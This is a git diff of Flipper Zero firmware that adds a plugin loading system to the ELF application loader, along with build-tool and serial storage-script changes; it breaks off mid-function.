b/lib/flipper_application/elf/elf_file.h @@ -82,24 +82,34 @@ bool elf_file_load_section_table(ELFFile* elf_file); ELFFileLoadStatus elf_file_load_sections(ELFFile* elf_file); /** - * @brief Execute ELF file pre-run stage, call static constructors for example (load stage #3) + * @brief Execute ELF file pre-run stage, + * call static constructors for example (load stage #3) + * Must be done before invoking any code from the ELF file * @param elf */ -void elf_file_pre_run(ELFFile* elf); +void elf_file_call_init(ELFFile* elf); /** - * @brief Run ELF file (load stage #4) + * @brief Check if ELF file pre-run stage was executed and its code is runnable + * @param elf + */ +bool elf_file_is_init_complete(ELFFile* elf); + +/** + * @brief Get actual entry point for ELF file * @param elf_file * @param args * @return int32_t */ -int32_t elf_file_run(ELFFile* elf_file, void* args); +void* elf_file_get_entry_point(ELFFile* elf_file); /** - * @brief Execute ELF file post-run stage, call static destructors for example (load stage #5) + * @brief Execute ELF file post-run stage, + * call static destructors for example (load stage #5) + * Must be done if any code from the ELF file was executed * @param elf */ -void elf_file_post_run(ELFFile* elf); +void elf_file_call_fini(ELFFile* elf); /** * @brief Get ELF file API interface diff --git a/lib/flipper_application/elf/elf_file_i.h b/lib/flipper_application/elf/elf_file_i.h index 9b38540b7..af9a1d9b4 100644 --- a/lib/flipper_application/elf/elf_file_i.h +++ b/lib/flipper_application/elf/elf_file_i.h @@ -45,6 +45,8 @@ struct ELFFile { ELFSection* preinit_array; ELFSection* init_array; ELFSection* fini_array; + + bool init_array_called; }; #ifdef __cplusplus diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index 6e20c0809..ca917cf1a 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -10,6 +10,7 @@ struct FlipperApplication { FlipperApplicationManifest manifest; ELFFile* elf; FuriThread* thread; + void* ep_thread_args; }; /* For debugger access to app state */ @@ -20,9 +21,14 @@ FlipperApplication* FlipperApplication* app = malloc(sizeof(FlipperApplication)); app->elf = elf_file_alloc(storage, api_interface); app->thread = NULL; + app->ep_thread_args = NULL; return app; } +bool flipper_application_is_plugin(FlipperApplication* app) { + return app->manifest.stack_size == 0; +} + void flipper_application_free(FlipperApplication* app) { furi_assert(app); @@ -31,9 +37,16 @@ void flipper_application_free(FlipperApplication* app) { furi_thread_free(app->thread); } - last_loaded_app = NULL; + if(!flipper_application_is_plugin(app)) { + last_loaded_app = NULL; + } elf_file_clear_debug_info(&app->state); + + if(elf_file_is_init_complete(app->elf)) { + elf_file_call_fini(app->elf); + } + elf_file_free(app->elf); free(app); } @@ -140,7 +153,9 @@ const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplic } FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplication* app) { - last_loaded_app = app; + if(!flipper_application_is_plugin(app)) { + last_loaded_app = app; + } ELFFileLoadStatus status = elf_file_load_sections(app->elf); switch(status) { @@ -157,9 +172,15 @@ FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplicatio } static int32_t flipper_application_thread(void* context) { - elf_file_pre_run(last_loaded_app->elf); - int32_t result = elf_file_run(last_loaded_app->elf, context); - elf_file_post_run(last_loaded_app->elf); + furi_assert(context); + FlipperApplication* app = (FlipperApplication*)context; + + elf_file_call_init(app->elf); + + FlipperApplicationEntryPoint entry_point = elf_file_get_entry_point(app->elf); + int32_t ret_code = entry_point(app->ep_thread_args); + + elf_file_call_fini(app->elf); // wait until all notifications from RAM are completed NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); @@ -169,17 +190,17 @@ static int32_t flipper_application_thread(void* context) { notification_message_block(notifications, &sequence_empty); furi_record_close(RECORD_NOTIFICATION); - return result; + return ret_code; } FuriThread* flipper_application_spawn(FlipperApplication* app, void* args) { furi_check(app->thread == NULL); + furi_check(!flipper_application_is_plugin(app)); + app->ep_thread_args = args; const FlipperApplicationManifest* manifest = flipper_application_get_manifest(app); - furi_check(manifest->stack_size > 0); - app->thread = furi_thread_alloc_ex( - manifest->name, manifest->stack_size, flipper_application_thread, args); + manifest->name, manifest->stack_size, flipper_application_thread, app); return app->thread; } @@ -213,3 +234,28 @@ const char* flipper_application_load_status_to_string(FlipperApplicationLoadStat } return load_status_strings[status]; } + +const FlipperAppPluginDescriptor* + flipper_application_plugin_get_descriptor(FlipperApplication* app) { + if(!flipper_application_is_plugin(app)) { + return NULL; + } + + if(!elf_file_is_init_complete(app->elf)) { + elf_file_call_init(app->elf); + } + + typedef const FlipperAppPluginDescriptor* (*get_lib_descriptor_t)(void); + get_lib_descriptor_t lib_ep = elf_file_get_entry_point(app->elf); + furi_check(lib_ep); + + const FlipperAppPluginDescriptor* lib_descriptor = lib_ep(); + + FURI_LOG_D( + TAG, + "Library for %s, API v. %lu loaded", + lib_descriptor->appid, + lib_descriptor->ep_api_version); + + return lib_descriptor; +} \ No newline at end of file diff --git a/lib/flipper_application/flipper_application.h b/lib/flipper_application/flipper_application.h index b3e5996bb..519cc3971 100644 --- a/lib/flipper_application/flipper_application.h +++ b/lib/flipper_application/flipper_application.h @@ -115,6 +115,40 @@ FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplicatio */ FuriThread* flipper_application_spawn(FlipperApplication* app, void* args); +/** + * @brief Check if application is a plugin (not a runnable standalone app) + * @param app Application pointer + * @return true if application is a plugin, false otherwise + */ +bool flipper_application_is_plugin(FlipperApplication* app); + +/** + * @brief Entry point prototype for standalone applications + */ +typedef int32_t (*FlipperApplicationEntryPoint)(void*); + +/** + * @brief An object that describes a plugin - must be returned by plugin's entry point + */ +typedef struct { + const char* appid; + const uint32_t ep_api_version; + const void* entry_point; +} FlipperAppPluginDescriptor; + +/** + * @brief Entry point prototype for plugins + */ +typedef const FlipperAppPluginDescriptor* (*FlipperApplicationPluginEntryPoint)(void); + +/** + * @brief Get plugin descriptor for preloaded plugin + * @param app Application pointer + * @return Pointer to plugin descriptor + */ +const FlipperAppPluginDescriptor* + flipper_application_plugin_get_descriptor(FlipperApplication* app); + #ifdef __cplusplus } -#endif \ No newline at end of file +#endif diff --git a/lib/flipper_application/plugins/composite_resolver.c b/lib/flipper_application/plugins/composite_resolver.c new file mode 100644 index 000000000..1402c3ad0 --- /dev/null +++ b/lib/flipper_application/plugins/composite_resolver.c @@ -0,0 +1,52 @@ +#include "composite_resolver.h" + +#include +#include + +LIST_DEF(ElfApiInterfaceList, const ElfApiInterface*, M_POD_OPLIST) +#define M_OPL_ElfApiInterfaceList_t() LIST_OPLIST(ElfApiInterfaceList, M_POD_OPLIST) + +struct CompositeApiResolver { + ElfApiInterface api_interface; + ElfApiInterfaceList_t interfaces; +}; + +static bool composite_api_resolver_callback( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address) { + CompositeApiResolver* resolver = (CompositeApiResolver*)interface; + for + M_EACH(interface, resolver->interfaces, ElfApiInterfaceList_t) { + if((*interface)->resolver_callback(*interface, name, address)) { + return true; + } + } + return false; +} + +CompositeApiResolver* composite_api_resolver_alloc() { + CompositeApiResolver* resolver = malloc(sizeof(CompositeApiResolver)); + resolver->api_interface.api_version_major = 0; + resolver->api_interface.api_version_minor = 0; + resolver->api_interface.resolver_callback = &composite_api_resolver_callback; + ElfApiInterfaceList_init(resolver->interfaces); + return resolver; +} + +void composite_api_resolver_free(CompositeApiResolver* resolver) { + ElfApiInterfaceList_clear(resolver->interfaces); + free(resolver); +} + +void composite_api_resolver_add(CompositeApiResolver* resolver, const ElfApiInterface* interface) { + if(ElfApiInterfaceList_empty_p(resolver->interfaces)) { + resolver->api_interface.api_version_major = interface->api_version_major; + resolver->api_interface.api_version_minor = interface->api_version_minor; + } + ElfApiInterfaceList_push_back(resolver->interfaces, interface); +} + +const ElfApiInterface* composite_api_resolver_get(CompositeApiResolver* resolver) { + return &resolver->api_interface; +} diff --git a/lib/flipper_application/plugins/composite_resolver.h b/lib/flipper_application/plugins/composite_resolver.h new file mode 100644 index 000000000..a2d4bab25 --- /dev/null +++ b/lib/flipper_application/plugins/composite_resolver.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Composite API resolver + * Resolves API interface by calling all resolvers in order + * Uses API version from first resolver + * Note: when using hashtable resolvers, collisions between tables are not detected + * Can be cast to ElfApiInterface* + */ +typedef struct CompositeApiResolver CompositeApiResolver; + +/** + * @brief Allocate composite API resolver + * @return CompositeApiResolver* instance + */ +CompositeApiResolver* composite_api_resolver_alloc(); + +/** + * @brief Free composite API resolver + * @param resolver Instance + */ +void composite_api_resolver_free(CompositeApiResolver* resolver); + +/** + * @brief Add API resolver to composite resolver + * @param resolver Instance + * @param interface API resolver + */ +void composite_api_resolver_add(CompositeApiResolver* resolver, const ElfApiInterface* interface); + +/** + * @brief Get API interface from composite resolver + * @param resolver Instance + * @return API interface + */ +const ElfApiInterface* composite_api_resolver_get(CompositeApiResolver* resolver); + +#ifdef __cplusplus +} +#endif diff --git a/lib/flipper_application/plugins/plugin_manager.c b/lib/flipper_application/plugins/plugin_manager.c new file mode 100644 index 000000000..101471dc5 --- /dev/null +++ b/lib/flipper_application/plugins/plugin_manager.c @@ -0,0 +1,153 @@ +#include "plugin_manager.h" + +#include +#include +#include + +#include +#include + +#include + +#define TAG "libmgr" + +ARRAY_DEF(FlipperApplicationList, FlipperApplication*, M_PTR_OPLIST) +#define M_OPL_FlipperApplicationList_t() ARRAY_OPLIST(FlipperApplicationList, M_PTR_OPLIST) + +struct PluginManager { + const char* application_id; + uint32_t api_version; + Storage* storage; + FlipperApplicationList_t libs; + const ElfApiInterface* api_interface; +}; + +PluginManager* plugin_manager_alloc( + const char* application_id, + uint32_t api_version, + const ElfApiInterface* api_interface) { + PluginManager* manager = malloc(sizeof(PluginManager)); + manager->application_id = application_id; + manager->api_version = api_version; + manager->api_interface = api_interface ? api_interface : firmware_api_interface; + manager->storage = furi_record_open(RECORD_STORAGE); + FlipperApplicationList_init(manager->libs); + return manager; +} + +void plugin_manager_free(PluginManager* manager) { + for + M_EACH(loaded_lib, manager->libs, FlipperApplicationList_t) { + flipper_application_free(*loaded_lib); + } + FlipperApplicationList_clear(manager->libs); + furi_record_close(RECORD_STORAGE); + free(manager); +} + +PluginManagerError plugin_manager_load_single(PluginManager* manager, const char* path) { + FlipperApplication* lib = flipper_application_alloc(manager->storage, manager->api_interface); + + PluginManagerError error = PluginManagerErrorNone; + do { + FlipperApplicationPreloadStatus preload_res = flipper_application_preload(lib, path); + + if(preload_res != FlipperApplicationPreloadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to preload %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + if(!flipper_application_is_plugin(lib)) { + FURI_LOG_E(TAG, "Not a plugin %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + FlipperApplicationLoadStatus load_status = flipper_application_map_to_memory(lib); + if(load_status != FlipperApplicationLoadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to load module_demo_plugin1.fal"); + break; + } + + const FlipperAppPluginDescriptor* app_descriptor = + flipper_application_plugin_get_descriptor(lib); + + if(!app_descriptor) { + FURI_LOG_E(TAG, "Failed to get descriptor %s", path); + error = PluginManagerErrorLoaderError; + break; + } + + if(strcmp(app_descriptor->appid, manager->application_id) != 0) { + FURI_LOG_E(TAG, "Application id mismatch %s", path); + error = PluginManagerErrorApplicationIdMismatch; + break; + } + + if(app_descriptor->ep_api_version != manager->api_version) { + FURI_LOG_E(TAG, "API version mismatch %s", path); + error = PluginManagerErrorAPIVersionMismatch; + break; + } + + FlipperApplicationList_push_back(manager->libs, lib); + } while(false); + + if(error != PluginManagerErrorNone) { + flipper_application_free(lib); + } + + return error; +} + +PluginManagerError plugin_manager_load_all(PluginManager* manager, const char* path) { + File* directory = storage_file_alloc(manager->storage); + char file_name_buffer[256]; + FuriString* file_name = furi_string_alloc(); + do { + if(!storage_dir_open(directory, path)) { + FURI_LOG_E(TAG, "Failed to open directory %s", path); + break; + } + while(true) { + if(!storage_dir_read(directory, NULL, file_name_buffer, sizeof(file_name_buffer))) { + break; + } + + furi_string_set(file_name, file_name_buffer); + if(!furi_string_end_with_str(file_name, ".fal")) { + continue; + } + + path_concat(path, file_name_buffer, file_name); + FURI_LOG_D(TAG, "Loading %s", furi_string_get_cstr(file_name)); + PluginManagerError error = + plugin_manager_load_single(manager, furi_string_get_cstr(file_name)); + + if(error != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load %s", furi_string_get_cstr(file_name)); + break; + } + } + } while(false); + storage_dir_close(directory); + storage_file_free(directory); + furi_string_free(file_name); + return PluginManagerErrorNone; +} + +uint32_t plugin_manager_get_count(PluginManager* manager) { + return FlipperApplicationList_size(manager->libs); +} + +const FlipperAppPluginDescriptor* plugin_manager_get(PluginManager* manager, uint32_t index) { + FlipperApplication* app = *FlipperApplicationList_get(manager->libs, index); + return flipper_application_plugin_get_descriptor(app); +} + +const void* plugin_manager_get_ep(PluginManager* manager, uint32_t index) { + const FlipperAppPluginDescriptor* lib_descr = plugin_manager_get(manager, index); + furi_check(lib_descr); + return lib_descr->entry_point; +} diff --git a/lib/flipper_application/plugins/plugin_manager.h b/lib/flipper_application/plugins/plugin_manager.h new file mode 100644 index 000000000..d94c25db9 --- /dev/null +++ b/lib/flipper_application/plugins/plugin_manager.h @@ -0,0 +1,82 @@ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Object that manages plugins for an application + * Implements mass loading of plugins and provides access to their descriptors + */ +typedef struct PluginManager PluginManager; + +typedef enum { + PluginManagerErrorNone = 0, + PluginManagerErrorLoaderError, + PluginManagerErrorApplicationIdMismatch, + PluginManagerErrorAPIVersionMismatch, +} PluginManagerError; + +/** + * @brief Allocates new PluginManager + * @param application_id Application ID filter - only plugins with matching ID will be loaded + * @param api_version Application API version filter - only plugins with matching API version + * @param api_interface Application API interface - used to resolve plugins' API imports + * If plugin uses private application's API, use CompoundApiInterface + * @return new PluginManager instance + */ +PluginManager* plugin_manager_alloc( + const char* application_id, + uint32_t api_version, + const ElfApiInterface* api_interface); + +/** + * @brief Frees PluginManager + * @param manager PluginManager instance + */ +void plugin_manager_free(PluginManager* manager); + +/** + * @brief Loads single plugin by full path + * @param manager PluginManager instance + * @param path Path to plugin + * @return Error code + */ +PluginManagerError plugin_manager_load_single(PluginManager* manager, const char* path); + +/** + * @brief Loads all plugins from specified directory + * @param manager PluginManager instance + * @param path Path to directory + * @return Error code + */ +PluginManagerError plugin_manager_load_all(PluginManager* manager, const char* path); + +/** + * @brief Returns number of loaded plugins + * @param manager PluginManager instance + * @return Number of loaded plugins + */ +uint32_t plugin_manager_get_count(PluginManager* manager); + +/** + * @brief Returns plugin descriptor by index + * @param manager PluginManager instance + * @param index Plugin index + * @return Plugin descriptor + */ +const FlipperAppPluginDescriptor* plugin_manager_get(PluginManager* manager, uint32_t index); + +/** + * @brief Returns plugin entry point by index + * @param manager PluginManager instance + * @param index Plugin index + * @return Plugin entry point + */ +const void* plugin_manager_get_ep(PluginManager* manager, uint32_t index); + +#ifdef __cplusplus +} +#endif diff --git a/scripts/distfap.py b/scripts/distfap.py new file mode 100644 index 000000000..060fe26ff --- /dev/null +++ b/scripts/distfap.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 + +from flipper.app import App +from flipper.storage import FlipperStorage, FlipperStorageOperations +from flipper.utils.cdc import resolve_port + +import os +import posixpath + + +class Main(App): + def init(self): + self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") + self.parser.add_argument( + "-n", + "--no-launch", + dest="launch_app", + action="store_false", + help="Don't launch app", + ) + + self.parser.add_argument("fap_src_path", help="App file to upload") + self.parser.add_argument( + "--fap_dst_dir", help="Upload path", default="/ext/apps", required=False + ) + self.parser.set_defaults(func=self.install) + + def install(self): + if not (port := resolve_port(self.logger, self.args.port)): + return 1 + + try: + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + fap_local_path = self.args.fap_src_path + self.args.fap_dst_dir = self.args.fap_dst_dir.rstrip("/\\") + + if not os.path.isfile(fap_local_path): + self.logger.error( + f"Error: source .fap ({fap_local_path}) not found" + ) + return 2 + + fap_dst_path = posixpath.join( + self.args.fap_dst_dir, os.path.basename(fap_local_path) + ) + + self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') + + storage_ops.recursive_send(fap_dst_path, fap_local_path, False) + + if not self.args.launch_app: + return 0 + + storage.send_and_wait_eol( + f'loader open "Applications" {fap_dst_path}\r' + ) + + if len(result := storage.read.until(storage.CLI_EOL)): + self.logger.error(f"Unexpected response: {result.decode('ascii')}") + return 3 + return 0 + + except Exception as e: + self.logger.error(f"Error: {e}") + # raise + return 4 + + +if __name__ == "__main__": + Main()() diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index eb1652b78..37ddc4348 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -12,13 +12,13 @@ class FlipperAppType(Enum): SERVICE = "Service" SYSTEM = "System" APP = "App" - PLUGIN = "Plugin" DEBUG = "Debug" ARCHIVE = "Archive" SETTINGS = "Settings" STARTUP = "StartupHook" EXTERNAL = "External" METAPACKAGE = "Package" + PLUGIN = "Plugin" @dataclass @@ -69,12 +69,22 @@ class FlipperApplication: fap_private_libs: List[Library] = field(default_factory=list) fap_file_assets: Optional[str] = None # Internally used by fbt + _appmanager: Optional["AppManager"] = None _appdir: Optional[object] = None _apppath: Optional[str] = None + _plugins: List["FlipperApplication"] = field(default_factory=list) def supports_hardware_target(self, target: str): return target in self.targets or "all" in self.targets + @property + def is_default_deployable(self): + return self.apptype != FlipperAppType.DEBUG and self.fap_category != "Examples" + + def __post_init__(self): + if self.apptype == FlipperAppType.PLUGIN: + self.stack_size = 0 + class AppManager: def __init__(self): @@ -94,6 +104,23 @@ class AppManager: return app return None + def _validate_app_params(self, *args, **kw): + apptype = kw.get("apptype") + if apptype == FlipperAppType.PLUGIN: + if kw.get("stack_size"): + raise FlipperManifestException( + f"Plugin {kw.get('appid')} cannot have stack (did you mean FlipperAppType.EXTERNAL?)" + ) + if not kw.get("requires"): + raise FlipperManifestException( + f"Plugin {kw.get('appid')} must have 'requires' in manifest" + ) + # Harmless - cdefines for external apps are meaningless + # if apptype == FlipperAppType.EXTERNAL and kw.get("cdefines"): + # raise FlipperManifestException( + # f"External app {kw.get('appid')} must not have 'cdefines' in manifest" + # ) + def load_manifest(self, app_manifest_path: str, app_dir_node: object): if not os.path.exists(app_manifest_path): raise FlipperManifestException( @@ -105,12 +132,14 @@ class AppManager: def App(*args, **kw): nonlocal app_manifests + self._validate_app_params(*args, **kw) app_manifests.append( FlipperApplication( *args, **kw, _appdir=app_dir_node, _apppath=os.path.dirname(app_manifest_path), + _appmanager=self, ), ) @@ -155,7 +184,6 @@ class AppBuildset: FlipperAppType.SERVICE, FlipperAppType.SYSTEM, FlipperAppType.APP, - FlipperAppType.PLUGIN, FlipperAppType.DEBUG, FlipperAppType.ARCHIVE, FlipperAppType.SETTINGS, @@ -182,6 +210,7 @@ class AppBuildset: self._check_conflicts() self._check_unsatisfied() # unneeded? self._check_target_match() + self._group_plugins() self.apps = sorted( list(map(self.appmgr.get, self.appnames)), key=lambda app: app.appid, @@ -260,6 +289,18 @@ class AppBuildset: f"Apps incompatible with target {self.hw_target}: {', '.join(incompatible)}" ) + def _group_plugins(self): + known_extensions = self.get_apps_of_type(FlipperAppType.PLUGIN, all_known=True) + for extension_app in known_extensions: + for parent_app_id in extension_app.requires: + try: + parent_app = self.appmgr.get(parent_app_id) + parent_app._plugins.append(extension_app) + except FlipperManifestException as e: + self._writer( + f"Module {extension_app.appid} has unknown parent {parent_app_id}" + ) + def get_apps_cdefs(self): cdefs = set() for app in self.apps: @@ -301,7 +342,6 @@ class ApplicationsCGenerator: FlipperAppType.SERVICE: ("FlipperApplication", "FLIPPER_SERVICES"), FlipperAppType.SYSTEM: ("FlipperApplication", "FLIPPER_SYSTEM_APPS"), FlipperAppType.APP: ("FlipperApplication", "FLIPPER_APPS"), - FlipperAppType.PLUGIN: ("FlipperApplication", "FLIPPER_PLUGINS"), FlipperAppType.DEBUG: ("FlipperApplication", "FLIPPER_DEBUG_APPS"), FlipperAppType.SETTINGS: ("FlipperApplication", "FLIPPER_SETTINGS_APPS"), FlipperAppType.STARTUP: ("FlipperOnStartHook", "FLIPPER_ON_SYSTEM_START"), diff --git a/scripts/fbt/fapassets.py b/scripts/fbt/fapassets.py new file mode 100644 index 000000000..0649f03ef --- /dev/null +++ b/scripts/fbt/fapassets.py @@ -0,0 +1,108 @@ +import os +import hashlib +import struct +from typing import TypedDict + + +class File(TypedDict): + path: str + size: int + content_path: str + + +class Dir(TypedDict): + path: str + + +class FileBundler: + """ + u32 magic + u32 version + u32 dirs_count + u32 files_count + u32 signature_size + u8[] signature + Dirs: + u32 dir_name length + u8[] dir_name + Files: + u32 file_name length + u8[] file_name + u32 file_content_size + u8[] file_content + """ + + def __init__(self, directory_path: str): + self.directory_path = directory_path + self.file_list: list[File] = [] + self.directory_list: list[Dir] = [] + self._gather() + + def _gather(self): + for root, dirs, files in os.walk(self.directory_path): + for file_info in files: + file_path = os.path.join(root, file_info) + file_size = os.path.getsize(file_path) + self.file_list.append( + { + "path": os.path.relpath(file_path, self.directory_path), + "size": file_size, + "content_path": file_path, + } + ) + + for dir_info in dirs: + dir_path = os.path.join(root, dir_info) + # dir_size = sum( + # os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) + # ) + self.directory_list.append( + { + "path": os.path.relpath(dir_path, self.directory_path), + } + ) + + self.file_list.sort(key=lambda f: f["path"]) + self.directory_list.sort(key=lambda d: d["path"]) + + def export(self, target_path: str): + self._md5_hash = hashlib.md5() + with open(target_path, "wb") as f: + # Write header magic and version + f.write(struct.pack(" FlipperExternalAppInfo + EXT_LIBS={}, + _APP_ICONS=[], ) env.AddMethod(BuildAppElf) - env.AddMethod(GetExtAppFromPath) + env.AddMethod(GetExtAppByIdOrPath) env.Append( BUILDERS={ "FapDist": Builder( @@ -466,7 +427,7 @@ def generate(env, **kw): generator=generate_embed_app_metadata_actions, suffix=".fap", src_suffix=".elf", - # emitter=generate_embed_app_metadata_emitter, + emitter=embed_app_metadata_emitter, ), "ValidateAppImports": Builder( action=[ diff --git a/scripts/fbt_tools/fbt_sdk.py b/scripts/fbt_tools/fbt_sdk.py index 3a37eacc9..324819818 100644 --- a/scripts/fbt_tools/fbt_sdk.py +++ b/scripts/fbt_tools/fbt_sdk.py @@ -220,7 +220,7 @@ def gen_sdk_data(sdk_cache: SdkCache): def _check_sdk_is_up2date(sdk_cache: SdkCache): if not sdk_cache.is_buildable(): raise UserError( - "SDK version is not finalized, please review changes and re-run operation" + "SDK version is not finalized, please review changes and re-run operation. See AppsOnSDCard.md for more details" ) diff --git a/scripts/flipper/storage.py b/scripts/flipper/storage.py index 9c9f52958..47e11236d 100644 --- a/scripts/flipper/storage.py +++ b/scripts/flipper/storage.py @@ -4,6 +4,9 @@ import serial import time import hashlib import math +import logging +import posixpath +import enum def timing(func): @@ -25,12 +28,47 @@ def timing(func): return wrapper +class StorageErrorCode(enum.Enum): + OK = "OK" + NOT_READY = "filesystem not ready" + EXIST = "file/dir already exist" + NOT_EXIST = "file/dir not exist" + INVALID_PARAMETER = "invalid parameter" + DENIED = "access denied" + INVALID_NAME = "invalid name/path" + INTERNAL = "internal error" + NOT_IMPLEMENTED = "function not implemented" + ALREADY_OPEN = "file is already open" + UNKNOWN = "unknown error" + + @property + def is_error(self): + return self != self.OK + + @classmethod + def from_value(cls, s: str | bytes): + if isinstance(s, bytes): + s = s.decode("ascii") + for code in cls: + if code.value == s: + return code + return cls.UNKNOWN + + +class FlipperStorageException(Exception): + def __init__(self, message): + super().__init__(f"Storage error: {message}") + + def __init__(self, path: str, error_code: StorageErrorCode): + super().__init__(f"Storage error: path '{path}': {error_code.value}") + + class BufferedRead: def __init__(self, stream): self.buffer = bytearray() self.stream = stream - def until(self, eol="\n", cut_eol=True): + def until(self, eol: str = "\n", cut_eol: bool = True): eol = eol.encode("ascii") while True: # search in buffer @@ -59,9 +97,15 @@ class FlipperStorage: self.port.timeout = 2 self.port.baudrate = 115200 # Doesn't matter for VCP self.read = BufferedRead(self.port) - self.last_error = "" self.chunk_size = chunk_size + def __enter__(self): + self.start() + return self + + def __exit__(self, exc_type, exc_value, traceback): + self.stop() + def start(self): self.port.open() self.port.reset_input_buffer() @@ -71,37 +115,34 @@ class FlipperStorage: # And read buffer until we get prompt self.read.until(self.CLI_PROMPT) - def stop(self): + def stop(self) -> None: self.port.close() - def send(self, line): + def send(self, line: str) -> None: self.port.write(line.encode("ascii")) - def send_and_wait_eol(self, line): + def send_and_wait_eol(self, line: str): self.send(line) return self.read.until(self.CLI_EOL) - def send_and_wait_prompt(self, line): + def send_and_wait_prompt(self, line: str): self.send(line) return self.read.until(self.CLI_PROMPT) - def has_error(self, data): - """Is data has error""" - if data.find(b"Storage error") != -1: - return True - else: - return False + def has_error(self, data: bytes | str) -> bool: + """Is data an error message""" + return data.find(b"Storage error:") != -1 - def get_error(self, data): + def get_error(self, data: bytes) -> StorageErrorCode: """Extract error text from data and print it""" - error, error_text = data.decode("ascii").split(": ") - return error_text.strip() + _, error_text = data.decode("ascii").split(": ") + return StorageErrorCode.from_value(error_text.strip()) - def list_tree(self, path="/", level=0): + def list_tree(self, path: str = "/", level: int = 0): """List files and dirs on Flipper""" path = path.replace("//", "/") - self.send_and_wait_eol('storage list "' + path + '"\r') + self.send_and_wait_eol(f'storage list "{path}"\r') data = self.read.until(self.CLI_PROMPT) lines = data.split(b"\r\n") @@ -139,7 +180,7 @@ class FlipperStorage: # Something wrong, pass pass - def walk(self, path="/"): + def walk(self, path: str = "/"): dirs = [] nondirs = [] walk_dirs = [] @@ -181,14 +222,15 @@ class FlipperStorage: # Something wrong, pass pass - # topdown walk, yield before recursy + # topdown walk, yield before recursing yield path, dirs, nondirs for new_path in walk_dirs: yield from self.walk(new_path) - def send_file(self, filename_from, filename_to): + def send_file(self, filename_from: str, filename_to: str): """Send file from local device to Flipper""" - self.remove(filename_to) + if self.exist_file(filename_to): + self.remove(filename_to) with open(filename_from, "rb") as file: filesize = os.fstat(file.fileno()).st_size @@ -203,9 +245,9 @@ class FlipperStorage: self.send_and_wait_eol(f'storage write_chunk "{filename_to}" {size}\r') answer = self.read.until(self.CLI_EOL) if self.has_error(answer): - self.last_error = self.get_error(answer) + last_error = self.get_error(answer) self.read.until(self.CLI_PROMPT) - return False + raise FlipperStorageException(filename_to, last_error) self.port.write(filedata) self.read.until(self.CLI_PROMPT) @@ -218,9 +260,8 @@ class FlipperStorage: ) sys.stdout.flush() print() - return True - def read_file(self, filename): + def read_file(self, filename: str): """Receive file from Flipper, and get filedata (bytes)""" buffer_size = self.chunk_size self.send_and_wait_eol( @@ -229,9 +270,10 @@ class FlipperStorage: answer = self.read.until(self.CLI_EOL) filedata = bytearray() if self.has_error(answer): - self.last_error = self.get_error(answer) + last_error = self.get_error(answer) self.read.until(self.CLI_PROMPT) - return filedata + raise FlipperStorageException(filename, last_error) + # return filedata size = int(answer.split(b": ")[1]) read_size = 0 @@ -251,121 +293,89 @@ class FlipperStorage: self.read.until(self.CLI_PROMPT) return filedata - def receive_file(self, filename_from, filename_to): + def receive_file(self, filename_from: str, filename_to: str): """Receive file from Flipper to local storage""" with open(filename_to, "wb") as file: data = self.read_file(filename_from) - if not data: - return False - else: - file.write(data) - return True + file.write(data) - def exist(self, path): - """Is file or dir exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + def exist(self, path: str): + """Does file or dir exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True + return not self.has_error(response) - def exist_dir(self, path): - """Is dir exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + def exist_dir(self, path: str): + """Does dir exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) + self.read.until(self.CLI_PROMPT) + if self.has_error(response): + error_code = self.get_error(response) + if error_code in ( + StorageErrorCode.NOT_EXIST, + StorageErrorCode.INVALID_NAME, + ): + return False + raise FlipperStorageException(path, error_code) + + return True + + def exist_file(self, path: str): + """Does file exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"Directory") != -1: - return True - elif answer.find(b"Storage") != -1: - return True - else: - return False + return response.find(b"File, size:") != -1 - def exist_file(self, path): - """Is file exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) - self.read.until(self.CLI_PROMPT) + def _check_no_error(self, response, path=None): + if self.has_error(response): + raise FlipperStorageException(self.get_error(response)) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"File, size:") != -1: - return True - else: - return False - - def size(self, path): + def size(self, path: str): """file size on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"File, size:") != -1: - size = int( - "".join( - ch - for ch in answer.split(b": ")[1].decode("ascii") - if ch.isdigit() - ) + 